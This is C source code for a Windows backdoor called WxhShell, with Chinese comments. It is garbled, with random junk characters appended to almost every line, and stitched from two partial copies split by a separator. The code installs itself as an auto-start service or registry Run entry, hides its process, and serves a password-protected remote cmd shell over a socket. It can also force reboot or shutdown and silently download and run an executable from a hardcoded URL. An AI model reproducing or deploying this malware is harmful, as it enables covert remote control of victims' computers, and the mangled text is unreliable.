    break; sYjpU  
    } O>^C4c!  
  // 关机 P5 K' p5}#  
  case 'd': { *tgnYa[l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); | \'rP_I>  
    if(Boot(SHUTDOWN)) 0BH_'ZW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KcK>%%  
    else { VwOW=4`6  
    closesocket(wsh); 5Cq{XcXV  
    ExitThread(0); x9;gT&@H  
    } 7Garnd b  
    break; dgA-MQ5{  
    } JcbwDlUb  
  // 获取shell (xVsDAp=@  
  case 's': { |P -8HlOr  
    CmdShell(wsh); #$c Rkw  
    closesocket(wsh); %kB8'a3  
    ExitThread(0); 0JlZs]  
    break; r:F  
  } / C>wd   
  // 退出 COW}o~3-4  
  case 'x': { Q\cjPc0y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~.UrL(l=  
    CloseIt(wsh); 4eikLRD,  
    break; 5dB'&8DX  
    } <5NF;  
  // 离开 \ C+(~9@|  
  case 'q': { ow_djv:,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bx/L<J@  
    closesocket(wsh); `e(vH`VZ  
    WSACleanup(); Xlb0/T<g!  
    exit(1); qEpi]=|  
    break; 1jc, Y.mP  
        } yqi^>Ce0  
  } "FTfk  
  } R}lsnX<  
[P 06lIO  
  // 提示信息 w9, iq@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 !At2P2  
} VUhbD  
  } SQqD:{#g"  
uO=aaKG  
  return; +"8,Mh  
} \ gLHi~  
|b*? qf  
// shell模块句柄 Q($Z%1S  
int CmdShell(SOCKET sock) )hk   
{ tI7:5Cm  
STARTUPINFO si; G3rj`Sg^c  
ZeroMemory(&si,sizeof(si)); hi0R.V&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L+CyQq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TZ2=O<Kj  
PROCESS_INFORMATION ProcessInfo; :'*DPB-  
char cmdline[]="cmd"; 4dhvFGlW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `67[O4$<  
  return 0; 6IWxPt ~  
} {%IExPJ  
,:??P1  
// 自身启动模式 /)dFK~  
int StartFromService(void) >2]JXLq  
{ 'A:x/iv}^  
typedef struct %K>.lh@  
{ h=(DX5:A  
  DWORD ExitStatus; F0:A]`|  
  DWORD PebBaseAddress; 'k4E4OB  
  DWORD AffinityMask; cOPB2\,  
  DWORD BasePriority; xj[(P$,P  
  ULONG UniqueProcessId; xia|+  
  ULONG InheritedFromUniqueProcessId; t`+'r}=d  
}   PROCESS_BASIC_INFORMATION; * 1Od-3  
5!EJxP9  
PROCNTQSIP NtQueryInformationProcess; @DZB9DDR  
D<V~f B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LrAT Sq@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C&6IU8l\  
<x&%~6j  
  HANDLE             hProcess; Q4*fc^?u  
  PROCESS_BASIC_INFORMATION pbi; MW PvR|Q  
hs?sGr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (sQr X{~  
  if(NULL == hInst ) return 0; ak:ibV  
.VkbYK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?gwUwOV"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y}[c^$S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k<cgO[m   
H_0/f8GwnG  
  if (!NtQueryInformationProcess) return 0; 2hee./F`  
&m[Qn!>i6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P0$e~=Q^4  
  if(!hProcess) return 0; Y& F=t/U2  
JR@.R ,rII  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OQ,NOiNkap  
iC*F  
  CloseHandle(hProcess); uio@r^Xz  
Q6XRsFc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5r?m&28X  
if(hProcess==NULL) return 0; ~u.T-0F  
TO-nD>  
HMODULE hMod; lhi_6&&[8  
char procName[255]; }=v)Js  
unsigned long cbNeeded; qVdwfT{1J  
Raw)9tUt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +z9gbcx  
9W8]8sUeG  
  CloseHandle(hProcess); j+^oz'q  
!=y]Sv~h  
if(strstr(procName,"services")) return 1; // 以服务启动 I(S)n+E  
R@wjccu  
  return 0; // 注册表启动 4pln5v=  
} Qjnd6uv{I  
;P;((2_X9  
// 主模块 Hk7q{`:N  
int StartWxhshell(LPSTR lpCmdLine) zz^F k&  
{ k64."*X  
  SOCKET wsl; JMCW}bA  
BOOL val=TRUE; qiZO _=0  
  int port=0; NWd<+-pC6  
  struct sockaddr_in door; 4Td{;Y="yF  
:aG#~-Q  
  if(wscfg.ws_autoins) Install(); 5'Q|EIL  
af |5n><~A  
port=atoi(lpCmdLine); ]7Fs$y.  
NO] 3*  
if(port<=0) port=wscfg.ws_port; siTX_`0  
c,Euv>*`  
  WSADATA data; .@"q$\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g!i45-n3gt  
*FfMI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   up2+ s#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); unJ R=~E  
  door.sin_family = AF_INET; U#n#7G6fRp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KK,Z"){  
  door.sin_port = htons(port); zFQ&5@43  
&wU'p-V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8_&CT :u>  
closesocket(wsl); _Cw:J|l.  
return 1; BI:k#jO!  
} *0_yT$  
w0ZLcND{  
  if(listen(wsl,2) == INVALID_SOCKET) { 7?v#'Ie s  
closesocket(wsl); m>}8'N)  
return 1; f,z P*  
} SSBg?H'T  
  Wxhshell(wsl); ZvGgmLN  
  WSACleanup(); hfcIvs/!  
azP+GM=i7  
return 0; >2 3-  
efG6v  
} "C?5f]T  
JjXobNQf  
// 以NT服务方式启动 9e U[*S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _al|'obomy  
{ L'i-fM[#  
DWORD   status = 0; 7DKz;o  
  DWORD   specificError = 0xfffffff; iU+nqY'  
aS}1Q?cU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1ZJQs6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N 4K8 u'f^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^+SkCO  
  serviceStatus.dwWin32ExitCode     = 0; IkzTJ%>  
  serviceStatus.dwServiceSpecificExitCode = 0; OquAql:   
  serviceStatus.dwCheckPoint       = 0; =N);v\ Q$!  
  serviceStatus.dwWaitHint       = 0; O9(r{Vu7u  
jxgj,h"}9`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GFk1/ F  
  if (hServiceStatusHandle==0) return; NDO\B,7  
K1?Gmue#I  
status = GetLastError(); rC_*sx r^  
  if (status!=NO_ERROR) <P%}|@  
{ '<iK*[NW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pbHsR^  
    serviceStatus.dwCheckPoint       = 0; to"' By{9  
    serviceStatus.dwWaitHint       = 0; QHBtWQgS  
    serviceStatus.dwWin32ExitCode     = status; 7{oe ->r  
    serviceStatus.dwServiceSpecificExitCode = specificError; fWGOP~0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3E^M?N2oc  
    return; o$.e^XL  
  } x\s,= n3z  
mgZf3?,)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1x~U*vbhQ  
  serviceStatus.dwCheckPoint       = 0; k;dXOn  
  serviceStatus.dwWaitHint       = 0; JM.XH7k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M!M!Ni  
} "k$JP  
9H]_4?aX  
// 处理NT服务事件,比如:启动、停止 uk`8X`'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lo&#(L+2  
{ ,}D}oo*  
switch(fdwControl) %ICglF R  
{ P5QQpY{<I  
case SERVICE_CONTROL_STOP: pN[0YmY#  
  serviceStatus.dwWin32ExitCode = 0; SKY*.IW/Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9=dkx^q  
  serviceStatus.dwCheckPoint   = 0; FZpKFsPx  
  serviceStatus.dwWaitHint     = 0; pL1s@KR  
  { Lp:6 ;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >n.z)ZJ  
  } m:Go-tk  
  return; >x:EJV   
case SERVICE_CONTROL_PAUSE: TB aVW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O';ew)tI  
  break; Ja^ 5?Ar|  
case SERVICE_CONTROL_CONTINUE: @nV5.r0W}B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T&"i _no*  
  break; ;eB ~H[S/  
case SERVICE_CONTROL_INTERROGATE: &[|VZ[  
  break; mjnUs-`W|  
}; K7vw3UwGN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y\/gU8w/  
} 10sK]XI  
}ZZ5].-a<D  
// 标准应用程序主函数 (d2@Mz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "u' )g&   
{ \Mx JH[  
r@)A k  
// 获取操作系统版本 &$fbP5uAZ  
OsIsNt=GetOsVer(); `kBnSio~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ln#a<Rx.E7  
,i`h x, Rg  
  // 从命令行安装 #'o7x'n^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 73NZ:h%=  
$.e)  
  // 下载执行文件 %I4zQiJ%  
if(wscfg.ws_downexe) { q@#BPu"\l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !DjT<dxf  
  WinExec(wscfg.ws_filenam,SW_HIDE); f_r0})  
} _ptP[SV^j  
u"VS* hSH  
if(!OsIsNt) { U :9=3A2$x  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?p8Qx\%*  
HideProc(); )GB`*M[   
StartWxhshell(lpCmdLine); 1IA5.@G:  
} \MYU<6{u  
else KHj6Tg;)  
  if(StartFromService()) ]YD(`42x  
  // 以服务方式启动 Y\t_&px  
  StartServiceCtrlDispatcher(DispatchTable); nTnRGf\T  
else )BV=|,j  
  // 普通方式启动 9fVj 8G  
  StartWxhshell(lpCmdLine); B1T5f1;uY  
=d20Xa  
return 0; <DiOWi  
} . 5hp0L}  
bcJ@-i0V  
8cr NOZS6  
saK;[&I*  
=========================================== =&NOHT>  
a>Re^GT+z  
*=nO  
2*[Un(  
d?Y-;-|8Qh  
B%b_/F]e  
" LdTIR]  
,?b78_,2  
#include <stdio.h> V,4.$<e  
#include <string.h> N=ifIVc  
#include <windows.h> af>3V(7  
#include <winsock2.h> #vnT&FN0[  
#include <winsvc.h> {OxWcK\2@h  
#include <urlmon.h> ;h+q  
:0Te4UE;P7  
#pragma comment (lib, "Ws2_32.lib") Ee?;i<u  
#pragma comment (lib, "urlmon.lib") (:}<xxl  
zHFTCL>"  
#define MAX_USER   100 // 最大客户端连接数 5RhF+p4  
#define BUF_SOCK   200 // sock buffer P>htQ  
#define KEY_BUFF   255 // 输入 buffer V/H@vKN2  
STT2o=   
#define REBOOT     0   // 重启 XJFnih  
#define SHUTDOWN   1   // 关机 1i,4".h?M  
wu^q`!ml  
#define DEF_PORT   5000 // 监听端口 fA XE~  
[@.B4p  
#define REG_LEN     16   // 注册表键长度 Dc:DY:L^  
#define SVC_LEN     80   // NT服务名长度 5EhE`k4  
iSd?N}2,I  
// 从dll定义API m`9^.>]P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kMS5h~D[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0eA5zFU7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b>=7B6 Aw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {})y^L  
IQ{?_'  
// wxhshell配置信息 UX}*X`{  
struct WSCFG { 8eww7k^R  
  int ws_port;         // 监听端口 G2@KI-  
  char ws_passstr[REG_LEN]; // 口令 a/e\vwHLv  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y +qus  
  char ws_regname[REG_LEN]; // 注册表键名 qc-C>Ra  
  char ws_svcname[REG_LEN]; // 服务名 6UB6;-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z6Z='=pT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7|~:P $M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QN #)F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q!2<=:f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Uk!jQh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AQn[*  
E4m:1=Nd~]  
}; .;Z.F7{q  
 ~^7  
// default Wxhshell configuration ((9YG  
struct WSCFG wscfg={DEF_PORT, PN9^[X  
    "xuhuanlingzhe", Ut;'Gk  
    1, Ld~4nc$H8  
    "Wxhshell", 0Q3YN(  
    "Wxhshell", ?H0m<jO8~  
            "WxhShell Service", >Fh#DmQ  
    "Wrsky Windows CmdShell Service", 8_awMVAy  
    "Please Input Your Password: ", ?d,M.o{0]  
  1, 2lJZw@  
  "http://www.wrsky.com/wxhshell.exe", {kG;."S+K  
  "Wxhshell.exe" GiqBzV3"  
    }; )8]3kQffJ=  
_=T]PSauI  
// 消息定义模块 g 2#F_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M\jB)@)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %(NN *o9"q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dk4D+*R  
char *msg_ws_ext="\n\rExit."; UFk!dK+  
char *msg_ws_end="\n\rQuit."; pg5&=  
char *msg_ws_boot="\n\rReboot..."; 7uA\&/ ,  
char *msg_ws_poff="\n\rShutdown..."; '{W3j^m7  
char *msg_ws_down="\n\rSave to "; KT%{G8Y@M  
KE#$+,?  
char *msg_ws_err="\n\rErr!"; QB9A-U <J  
char *msg_ws_ok="\n\rOK!"; w%I8CU_}.  
N.n1<  
char ExeFile[MAX_PATH]; H\f/n`@,G  
int nUser = 0; ,N;v~D$Y  
HANDLE handles[MAX_USER]; h;}ODK(.  
int OsIsNt; }(cY|  
l}+Cdy9>  
SERVICE_STATUS       serviceStatus; 5])8qb/F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @dl<-  
mQnL<0_<f  
// 函数声明 PuU*vs3  
int Install(void); Ir>2sTrm  
int Uninstall(void); BUV/twU)  
int DownloadFile(char *sURL, SOCKET wsh); \@:j  
int Boot(int flag); y\z*p&I  
void HideProc(void); ( w5f(4  
int GetOsVer(void); t@r#b67WJe  
int Wxhshell(SOCKET wsl); ;6zPiaDQ  
void TalkWithClient(void *cs); ?AT(S  
int CmdShell(SOCKET sock); 8LeK wb  
int StartFromService(void); y* rY~U#3  
int StartWxhshell(LPSTR lpCmdLine); TL]bY'%  
Bf+^O)Ns^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YjL t&D:IZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W`5a:"Vg  
oB3q AP  
// 数据结构和表定义 m"q/,}DR  
SERVICE_TABLE_ENTRY DispatchTable[] = }eI`Qg  
{ CCn/ udp@  
{wscfg.ws_svcname, NTServiceMain}, e-jw^   
{NULL, NULL} " C&x ,Ic  
}; IF^[^^v+H  
xLZMpP5c  
// 自我安装 @,GjeF]!  
int Install(void) .2/,XwIr  
{ !b'IfDp[-!  
  char svExeFile[MAX_PATH]; WySNL#>a  
  HKEY key; 4xpj<  
  strcpy(svExeFile,ExeFile); h9U+ %=^O  
H[Cj7{V  
// 如果是win9x系统,修改注册表设为自启动 q1P :^<[  
if(!OsIsNt) { =J`gGDhGY-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s v6INe:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .dt#2a_5q  
  RegCloseKey(key); d~3GV(M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u9 %;{:]h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3m3 EXz  
  RegCloseKey(key); MHGjvSx  
  return 0; 2S'AIuIew  
    } *J.c $1#h  
  } e7h\(`J0lj  
} H a90  
else { TdNsyr}JG  
x{~_/;\p3  
// 如果是NT以上系统,安装为系统服务 fHLFeSfH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aQxe)  
if (schSCManager!=0) A}gYcc85Z  
{ AVU7WU{  
  SC_HANDLE schService = CreateService q$3HvZP  
  ( kGruo5A  
  schSCManager, h<GyplG  
  wscfg.ws_svcname, nhp)yW  
  wscfg.ws_svcdisp, x Ridc^  
  SERVICE_ALL_ACCESS, %;'~%\|dZM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2$iw/ r  
  SERVICE_AUTO_START, QZ#3Bn%B5  
  SERVICE_ERROR_NORMAL, :l4^iSf  
  svExeFile, ysL0hwir  
  NULL, s87 a %  
  NULL, ,!jR:nApE  
  NULL, <` #,AVH  
  NULL, |G>q:]+AV  
  NULL 5s#R`o %Z  
  ); <\+Po<)3j  
  if (schService!=0) fmtuFr^a1  
  { yY'gx|\  
  CloseServiceHandle(schService); pb~Ps#"Zg  
  CloseServiceHandle(schSCManager); PkjT&e)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -6(h@F%E  
  strcat(svExeFile,wscfg.ws_svcname); md.*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }R4(B2vup  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m2jwqx{G  
  RegCloseKey(key); "$# $f  
  return 0; :O5Tr03z  
    } G[ ,,L  
  } ?Ozk^#H[  
  CloseServiceHandle(schSCManager); aeLBaS  
} 1hF2eNh  
} 2Y9y5[K,F)  
5dbX%e_OP  
return 1; f S(^["*G  
} e|S+G6 :O2  
8[vl3C  
// 自我卸载 H't`Q&]a  
int Uninstall(void) ~3LhcU-  
{  s$K@X `  
  HKEY key; z?8zFP  
wa9'2a1?  
if(!OsIsNt) { FRb&@(;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mMel,iK=  
  RegDeleteValue(key,wscfg.ws_regname); $_4oN(WSz  
  RegCloseKey(key); \Mobq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ---Ks0\V  
  RegDeleteValue(key,wscfg.ws_regname); aa%Yk"V @  
  RegCloseKey(key); U@1#!ZZ6  
  return 0; .%-6&%1  
  } u40b? n.  
} BiVd ka  
} " 8~f  
else { CUAg{]  
V2WUM+`uT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AJJ%gxqGq  
if (schSCManager!=0) 'p4da2%  
{ >\^N\&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n_e}>1_  
  if (schService!=0) iKR8^sj7S  
  { Q' OuZKhA  
  if(DeleteService(schService)!=0) { fRca"vV  
  CloseServiceHandle(schService); [wXwKr  
  CloseServiceHandle(schSCManager); e<: 4czh8  
  return 0; G}Qk!r  
  } KT]J,b  
  CloseServiceHandle(schService); M ,.0[+  
  } ,_wm,  
  CloseServiceHandle(schSCManager); x"zjN'|  
} 3Vb=6-|  
} +=,4@I%  
s$2l"|h>B  
return 1; i-Ge *?  
} ebl)6C  
URmAI8fq*M  
// 从指定url下载文件 UIm[DYMS  
int DownloadFile(char *sURL, SOCKET wsh) {GG~E54&B  
{ KV) Hywl`  
  HRESULT hr; m=("N  
char seps[]= "/"; #NVF\  
char *token; ?-RoqF  
char *file; /eU1(oo&`5  
char myURL[MAX_PATH]; buxI-wv  
char myFILE[MAX_PATH]; {m*V/tX  
:!Y?j{sGU  
strcpy(myURL,sURL); !?us[f=g%  
  token=strtok(myURL,seps); oZ\qT0*eb  
  while(token!=NULL) kL2Zr  
  {  '!r+Tz  
    file=token; Jfixm=.6  
  token=strtok(NULL,seps); \h'E5LO  
  } :DJ7d  
-KU)7V  
GetCurrentDirectory(MAX_PATH,myFILE); 3_j C sX  
strcat(myFILE, "\\"); U`8^N.Snrp  
strcat(myFILE, file); G2[IO $  
  send(wsh,myFILE,strlen(myFILE),0); 6iV"Tl{z-  
send(wsh,"...",3,0); 9wYtOQ{g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JtrDZ;^@  
  if(hr==S_OK) c|!A?>O?i  
return 0; %M0mwty]  
else YKX>@)Dxv  
return 1; Ql6ai  
aJa^~*N/Aa  
} =p&'_a^$  
H-\ {w    
// 系统电源模块 bsk=9K2_2t  
int Boot(int flag) +=B}R  
{ _ \y0 mc4  
  HANDLE hToken; !>Qc2&ZV  
  TOKEN_PRIVILEGES tkp; vxilQp  
PhI6dB`  
  if(OsIsNt) { *3etxnQc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ek;&<Z_ ]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BJ.8OU*9]S  
    tkp.PrivilegeCount = 1; ,Dii?P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :(?hLH.W[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rO?x/{;ai  
if(flag==REBOOT) { h,WY2Hr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +GPT:\*q6  
  return 0; ,;=( )-  
} ;MRC~F=  
else { ;~gd<KK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cf[u%{ 6Y  
  return 0; $ DZQdhv  
} 1N$gE  
  }  1u S>{M  
  else { b]g&rwXYt  
if(flag==REBOOT) { t+4Y3*WeGF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jr>S/]"  
  return 0; >%p m "+h{  
} @;n$caw  
else { VgZaDd;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ID)gq_k[8,  
  return 0; -C'X4C+  
} r)#"$Sm  
} )`+@j.75  
@aV~.!!  
return 1; .dKRIFo  
} yL3<X w|  
7U[L\1zS  
// win9x进程隐藏模块 | 8L`osg  
void HideProc(void) Va |9)m  
{ kW2nrkF  
K%TKQ<R|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); < 8 Y<w|Hh  
  if ( hKernel != NULL ) n-b<vEZw#  
  { P7k$^n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k@";i4}A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Rn~Xu)@e  
    FreeLibrary(hKernel); Ualq>J5-m-  
  } _hyxKrm' 6  
aEqI51I  
return; h^_taAdS`  
} k]/6/s\  
SX=0f^  
// 获取操作系统版本 <sCq x/L  
int GetOsVer(void) JJHvj=9'o  
{ %Rsf6rJ  
  OSVERSIONINFO winfo; =Wy`X0h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ! 7*_Z=  
  GetVersionEx(&winfo); `i)ePiE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]z q_gV8k  
  return 1; PD T\Q\J^X  
  else +-!|%jG`%v  
  return 0; b`W'M :$  
} cD`O+WA2K  
Gx a.<E^k  
// 客户端句柄模块 BfE-s<  
int Wxhshell(SOCKET wsl) -J7,Nw  
{ 4d._Hd='  
  SOCKET wsh;   6[|<  
  struct sockaddr_in client; ,f0g|5yDf  
  DWORD myID; //u76nQ  
?! _pP|  
  while(nUser<MAX_USER) Ee\-q  
{ 0G\myv  
  int nSize=sizeof(client); w$;*~Qc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q%VR@[`\  
  if(wsh==INVALID_SOCKET) return 1; P"_}F  
L%O8vn^3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fx99"3`3  
if(handles[nUser]==0) n25tr'=  
  closesocket(wsh); #M^Yh?~%w  
else ;6 qdOD6  
  nUser++; *;yMD-=  
  } = 4WZr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nl<,rD+KSD  
^}7t:  
  return 0; 7RFkHME  
} IS 9q 5/]  
~5!TV,>ls  
// 关闭 socket f<sPh>n  
void CloseIt(SOCKET wsh) d<'Yt|zt  
{ @gjdyz  
closesocket(wsh); @bCiaBdi  
nUser--; 0#/ 6P&6  
ExitThread(0); tMBy ^@p  
} *^+xcG  
[5eT|uy  
// 客户端请求句柄 bl>b/u7/6  
void TalkWithClient(void *cs) g?AqC  
{ R|$`MX}'z  
Y4qyy\}  
  SOCKET wsh=(SOCKET)cs; jsaCnm>&  
  char pwd[SVC_LEN]; ;,-Vapz  
  char cmd[KEY_BUFF]; BI^]juH-c  
char chr[1]; Uu:v4a  
int i,j; OHnjI> /  
\Y[)bo6s  
  while (nUser < MAX_USER) { 5t#]lg[06'  
GXlg%  
if(wscfg.ws_passstr) { MV d 3*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :@Dos'0Px  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pvUoed\  
  //ZeroMemory(pwd,KEY_BUFF); :Sn3|`HDm  
      i=0; FY S83uq0  
  while(i<SVC_LEN) { Bg0cC  
_";pk  _  
  // 设置超时 ;/q6^Nk3A  
  fd_set FdRead; vl~   
  struct timeval TimeOut; `srZ#F5  
  FD_ZERO(&FdRead); .) ;:K  
  FD_SET(wsh,&FdRead); &p4<@k\L  
  TimeOut.tv_sec=8; AX RNV  
  TimeOut.tv_usec=0; }/r%~cZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U*:'/.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eniR}  
tRBK1h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =?Md&%j  
  pwd=chr[0]; I8]NY !'cW  
  if(chr[0]==0xd || chr[0]==0xa) { PM>XT  
  pwd=0; }F`2$ Q+CW  
  break; W*`6ero  
  } pP,bW~rk  
  i++; HYmUxheN2  
    } Hll}8d6[  
Ht^2)~e~:  
  // 如果是非法用户,关闭 socket Py]ci`27  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c!^}!32j)  
} \o)4m[oF  
mM{v>Em2K#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~Fb?h%w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); swL|Ff`$  
k\%v;3nBK  
while(1) { xF|*N<9(</  
.LR>&N_U  
  ZeroMemory(cmd,KEY_BUFF); I'b]s~u  
ymX,k|lh  
      // 自动支持客户端 telnet标准   wR$8drn]Rq  
  j=0; Ka\b_P&  
  while(j<KEY_BUFF) { v nC&1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QXj(U&#rp  
  cmd[j]=chr[0]; S5a<L_  
  if(chr[0]==0xa || chr[0]==0xd) { qDd/wR,44  
  cmd[j]=0; /mu4J|[[  
  break; E2kRt'~N  
  } JW'acD  
  j++; hP<qKVy  
    } Q 9<_:3  
>D62l*VC)  
  // 下载文件 1tz .e\  
  if(strstr(cmd,"http://")) { f.^w/ GJO/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ScoHtX3  
  if(DownloadFile(cmd,wsh)) oz@6%3+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7!nAWlQ&-E  
  else S`w)b'B!M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZhaOH5{9  
